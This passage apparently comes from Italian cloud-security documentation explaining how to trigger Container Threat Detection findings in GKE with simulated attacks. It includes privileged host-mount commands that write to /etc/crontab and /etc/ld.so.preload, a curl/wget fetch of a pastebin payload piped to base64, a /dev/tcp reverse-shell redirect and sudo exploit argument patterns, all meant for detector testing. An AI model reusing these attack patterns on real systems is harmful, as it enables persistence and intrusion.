Questa procedura di test crea un risultato Execution: Socat Reverse Shell Detected che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: modifica cron sospetta (anteprima)

Per attivare un rilevamento di modifica cron sospetta, modifica il file /etc/crontab dell'host da un container. Questo esempio esegue il deployment dell'immagine Ubuntu 24.04 più recente, montando il file system root dell'host nel container. Poi aggiorna il file crontab.

Questo è un rilevatore di monitoraggio dei file e ha requisiti specifici per la versione di GKE.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui un comando per modificare il file /etc/crontab dell'host.

    • Nodo x86:

      tag="ktd-test-cron-mod-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/crontab"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
      
    • Nodo ARM:

      tag="ktd-test-cron-mod-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/crontab"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
         "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" }] }}'
      

      Questa procedura di test attiva un risultato di modifica cron sospetta che puoi visualizzare in Security Command Center e, se hai configurato Logging per Container Threat Detection, in Cloud Logging. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Esecuzione: Oggetto condiviso OpenSSL sospetto caricato

Per attivare un risultato Execution: Suspicious OpenSSL Shared Object Loaded, esegui il comando openssl engine con un argomento che sia un file che termina con l'estensione .so. Questo esempio utilizza l'immagine Ubuntu 24.04 più recente. L'utilità /bin/ls viene copiata e rinominata in /tmp/openssl. Questo file binario rinominato viene poi eseguito con gli argomenti del file engine e del file .so falso. L'esecuzione di openssl engine con un file .so è contrassegnata come sospetta perché imita il comportamento di un oggetto condiviso caricato per eseguire codice dannoso.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui openssl engine con un argomento della libreria di oggetti condivisi fittizio:

    • Nodo x86:

      tag="ktd-test-suspicious-openssl-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so"
      
    • Nodo ARM:

      tag="ktd-test-suspicious-openssl-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so"
      

Questa procedura di test crea un risultato Execution: Suspicious OpenSSL Shared Object Loaded che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esfiltrazione: Avvia strumenti di copia file remoti nel container

Per attivare un risultato Exfiltration: Launch Remote File Copy Tools In Container, esegui un comune strumento di copia file remoti all'interno di un container. Questo esempio utilizza l'immagine Ubuntu 24.04 più recente. L'utilità /bin/ls viene copiata e rinominata in /tmp/rsync, quindi eseguita per recuperare un file da un'origine remota, potenzialmente dannosa. L'esecuzione di uno strumento di questo tipo con argomenti di recupero di file remoti all'interno di un container viene contrassegnata come sospetta, in quanto potrebbe indicare un tentativo di scaricare ed eseguire codice dannoso o di esfiltrare dati.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui uno strumento di copia di file remoti, come rsync, ed eseguilo:

    • Nodo x86:

      tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/rsync; /tmp/rsync"
      
    • Nodo ARM:

      tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/rsync; /tmp/rsync"
      

Questa procedura di test crea un risultato Exfiltration: Launch Remote File Copy Tools In Container che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Impatto: Rileva cmdline dannose

Per attivare un risultato Impact: Detect Malicious Cmdlines (anteprima), l'esecuzione di una riga di comando con pattern o argomenti dannosi noti deve essere osservata all'interno di un container. Questo esempio utilizza l'immagine Ubuntu 24.04 più recente. Comporta la copia del file binario /bin/ls e la ridenominazione della copia in ipfs. Il file binario rinominato viene quindi eseguito. Questo comportamento viene contrassegnato come sospetto perché può indicare un tentativo di eseguire codice dannoso o di bypassare i controlli di sicurezza.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui un file binario come ipfs:

    • Nodo x86:

      tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/ipfs; /tmp/ipfs"
      
    • Nodo ARM:

      tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/ipfs; /tmp/ipfs"
      

Questa procedura di test crea un risultato Impact: Detect Malicious Cmdlines che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Impatto: rimuovi dati collettivi dal disco

Per attivare un risultato Impact: Remove Bulk Data From Disk, inserisci un file binario in grado di eliminare o sovrascrivere i dati nel container ed eseguilo. Questo esempio utilizza l'immagine Ubuntu 24.04 più recente. Comporta la copia del file binario /bin/ls e la ridenominazione della copia in shred (o un'utilità simile progettata per l'eliminazione sicura dei file). Il file binario rinominato viene quindi eseguito. Questa azione è contrassegnata come sospetta perché imita il comportamento spesso osservato quando si tenta di rimuovere grandi quantità di dati da un disco all'interno di un ambiente containerizzato.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Introduci un file binario di eliminazione di file o dati come shred ed eseguilo:

    • Nodo x86:

      tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/shred; /tmp/shred"
      
    • Nodo ARM:

      tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/shred; /tmp/shred"
      

Questa procedura di test crea un risultato Impact: Remove Bulk Data From Disk che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Impatto: attività sospetta di cryptomining mediante il protocollo Stratum

Per attivare un risultato Impact: Suspicious crypto mining activity using the Stratum Protocol, è necessario eseguire un file binario all'interno di un container con argomenti simili a quelli utilizzati dal software di mining di criptovalute che comunica utilizzando il protocollo Stratum. L'esempio utilizza l'immagine Ubuntu 24.04 più recente. Copia /bin/ls e rinomina la copia in un file binario fittizio (presumibilmente per simulare un crypto miner). Questo file binario rinominato viene quindi eseguito con argomenti che includono stratum+tcp o indicatori di protocollo Stratum simili. Questa attività è contrassegnata come sospetta perché imita i pattern di comunicazione di rete del software di mining di criptovalute all'interno di ambienti containerizzati.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Introduci un file binario di utilità come curl ed eseguilo con argomenti simili a quelli utilizzati dal software di cryptomining che comunica utilizzando il protocollo Stratum:

    • Nodo x86:

      tag="ktd-test-detect-crypto-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"
      
    • Nodo ARM:

      tag="ktd-test-detect-crypto-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"
      

Questa procedura di test crea un risultato Impact: Suspicious crypto mining activity using the Stratum Protocol che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Potresti anche visualizzare un risultato aggiuntivo per il comando bash che esegui in questo test. Questo comportamento è normale e puoi ignorare il risultato aggiuntivo.

Script dannoso eseguito

Per attivare un risultato Script dannoso eseguito, puoi eseguire lo script nella seguente procedura nel container.

La procedura esegue il deployment dell'immagine Ubuntu 24.04 più recente, copia uno script che sembra dannoso e poi lo esegue. Per attivare un rilevamento, uno script deve apparire dannoso al rilevatore.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui questo script in un nuovo container.

    Questo script shell Bourne in linea proviene da un honeypot. Tuttavia, è stato modificato in modo da non eseguire il file binario dannoso, quindi l'esecuzione dello script non causerà attività dannose nel container. Il file binario all'URL di riferimento potrebbe essere stato rimosso e il tentativo di seguire l'URL genererà un errore 404. È previsto. Il tentativo di scaricare, decodificare ed eseguire un file binario utilizzando uno script incorporato è ciò che attiva il rilevamento.

    • Nodo x86:

      tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c \
            "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
      
    • Nodo ARM:

      tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c \
            "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
      

Questa procedura di test crea un risultato di tipo Script dannoso eseguito che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato il logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Rilevato URL dannoso

Per attivare un risultato URL dannoso osservato, esegui un file binario e fornisci un URL dannoso come argomento.

L'esempio seguente esegue il deployment di un'immagine Ubuntu 24.04 ed esegue /bin/curl per accedere a un URL di malware di esempio dal servizio Navigazione sicura.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui curl e fornisci un URL dannoso come argomento:

    • Nodo x86:

      tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      url="https://testsafebrowsing.appspot.com/s/malware.html"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "cp /bin/ls /tmp/curl; /tmp/curl $url 2> /dev/null || true"
      
    • Nodo ARM:

      tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      url="https://testsafebrowsing.appspot.com/s/malware.html"
      kubectl run \
            --restart=Never \
            --rm=true -i \
            --image marketplace.gcr.io/google/ubuntu2404:latest \
            --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
            {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
            "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
            "value": "arm64" } ]}}' \
            "$tag" -- sh -c "cp /bin/ls /tmp/curl; /tmp/curl $url 2> /dev/null || true"
      

Questa procedura di test attiva un risultato URL dannoso osservato che puoi visualizzare in Security Command Center e, se hai configurato Logging per Container Threat Detection, in Cloud Logging. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Persistenza: modifica ld.so.preload (anteprima)

Per attivare un rilevamento di modifica di ld.so.preload, modifica il file /etc/ld.so.preload dell'host. Questo esempio esegue il deployment dell'immagine Ubuntu 24.04 più recente, monta il file system root dell'host nel container e poi aggiorna /etc/ld.so.preload.

Questo è un rilevatore di monitoraggio dei file e ha requisiti specifici per la versione di GKE.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Eseguire un file binario che modifica il file /etc/ld.so.preload dell'host.

    • Nodo x86:

      tag="ktd-test-ld-preload-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["/bin/touch", "/host/etc/ld.so.preload"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
      
    • Nodo ARM:

      tag="ktd-test-ld-preload-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["/bin/touch", "/host/etc/ld.so.preload"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
         "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" }] }}'
      

Questa procedura di test attiva un risultato di modifica di ld.so.preload che puoi visualizzare in Security Command Center e, se hai configurato Logging per Container Threat Detection, in Cloud Logging. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Escalation dei privilegi: abuso di sudo per l'escalation dei privilegi (CVE-2019-14287)

Per attivare un risultato Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287), esegui il file binario sudo con il parametro -u#-1. Questo esempio copia il file binario /bin/ls per imitare il file binario sudo e lo esegue con il parametro specificato.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Avvia un programma binario con il reindirizzamento /bin/echo al DNS pubblico di Google:

    • Nodo x86:

      tag="ktd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
         "cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10"
      
    • Nodo ARM:

      tag="ktd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
         "cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10"
      

Questa procedura di test crea un risultato Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287) che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Escalation dei privilegi: esecuzione senza file in /dev/shm

Per attivare un risultato Privilege Escalation: Fileless Execution in /dev/shm, un processo deve essere eseguito dal file system in memoria /dev/shm. Questo esempio utilizza l'immagine Ubuntu 24.04 più recente. L'utilità /bin/echo viene copiata in /dev/shm/echo. Questo file binario rinominato viene poi eseguito. L'esecuzione di un file in /dev/shm è contrassegnata come sospetta perché imita il comportamento di un oggetto che tenta di essere eseguito in memoria per evitare i rilevamenti basati su file.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Crea un container con privilegi ed esegui un programma da un file system in memoria:

    • Nodo x86:

      tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"spec": {"containers": [{"name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "command": ["bash", "-c", "cp /bin/echo /dev/shm/echo; chmod +x /dev/shm/echo; mount -o remount,exec /dev/shm; /dev/shm/echo \"Hello from /dev/shm\""]}]}}' \
         "$tag"
      
    • Nodo ARM:

      tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": {
         "containers": [{"name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "command": ["bash", "-c", "cp /bin/echo /dev/shm/echo; chmod +x /dev/shm/echo; mount -o remount,exec /dev/shm; /dev/shm/echo \"Hello from /dev/shm\""]}],
         "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag"
      

Questa procedura di test crea un risultato Privilege Escalation: Fileless Execution in /dev/shm che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Escalation dei privilegi: vulnerabilità di escalation dei privilegi locali di Polkit (CVE-2021-4034)

Per attivare un risultato Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034), esegui un file binario pkexec con la variabile di ambiente GCONV_PATH impostata come utente non root. Questo esempio copia il file binario /bin/ls per imitare il file binario pkexec e lo esegue con il parametro specificato come ID utente 1000.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Avvia un programma binario con il reindirizzamento /bin/echo al DNS pubblico di Google:

    • Nodo x86:

      tag="ktd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": {
         "securityContext": { "runAsUser": 1000 }}}' \
         "$tag" -- bash -c \
         "cp /bin/ls /tmp/pkexec; GCONV_PATH=junk /tmp/pkexec; sleep 10"
      
    • Nodo ARM:

      tag="ktd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": {
         "securityContext": { "runAsUser": 1000 }, "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
         "cp /bin/ls /tmp/pkexec; GCONV_PATH=junk /tmp/pkexec; sleep 10"
      

Questa procedura di test crea un risultato Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034) che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Escalation dei privilegi: Potenziale escalation dei privilegi sudo (CVE-2021-3156)

Per attivare un risultato Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156), esegui il file binario sudo come utente non root con il parametro -s e un parametro che termina con \`. This example copies the/bin/lsbinary to imitate thesudo` e lo esegue con i parametri specificati.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Avvia un programma binario con il reindirizzamento /bin/echo al DNS pubblico di Google:

    • Nodo x86:

      tag="ktd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": {
         "securityContext": { "runAsUser": 1000 }}}' \
         "$tag" -- bash -c \
         'cp /bin/ls /tmp/sudo; /tmp/sudo -s "123\\"; sleep 10'
      
    • Nodo ARM:

      tag="ktd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": {
         "securityContext": { "runAsUser": 1000 },
         "nodeSelector": { "kubernetes.io/arch":"arm64" }, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
         'cp /bin/ls /tmp/sudo; /tmp/sudo -s "123\\"; sleep 10'
      

Questa procedura di test crea un risultato Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Reverse shell

Per attivare un risultato di reverse shell, avvia un file binario con il reindirizzamento stdin a un socket connesso TCP. Questo esempio copia /bin/echo in /tmp/sh, quindi avvia /tmp/sh con il reindirizzamento al DNS pubblico di Google 8.8.8.8 sulla porta DNS. Quando esegui questo esempio, non viene stampato nulla. Per impedire l'inserimento di codice esterno tramite un attacco man-in-the-middle (MITM), questo esempio non utilizza il programma binario /bin/sh.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Avvia un programma binario con il reindirizzamento /bin/echo al DNS pubblico di Google:

    • Nodo x86:

      tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
      
    • Nodo ARM:

      tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
      

Questa procedura di test crea un risultato di reverse shell che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Shell secondaria imprevista

Per testare il rilevatore Unexpected Child Shell, puoi creare un albero dei processi che includa un processo shell secondario.

L'esempio seguente crea un albero dei processi consul->dash, che può essere rilevato dal rilevatore Unexpected Child Shell. Questo test è sicuro perché utilizza solo file binari integrati. Questo esempio esegue le seguenti operazioni:

  1. Crea una copia del processo sh e la denomina consul.
  2. Copia il processo echo e lo denomina dash.
  3. Richiama il processo dash copiato nel processo consul copiato.

Per attivare un risultato Unexpected Child Shell, segui questi passaggi:

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Utilizza il processo fittizio consul per richiamare una shell fittizia:

    • Nodo x86:

      tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -ti \
         --image ubuntu "$tag" \
         --command -- /bin/sh -c \
            'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
            /tmp/consul -c "/tmp/sh child ran successfully & wait"'
      
    • Nodo ARM:

      tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
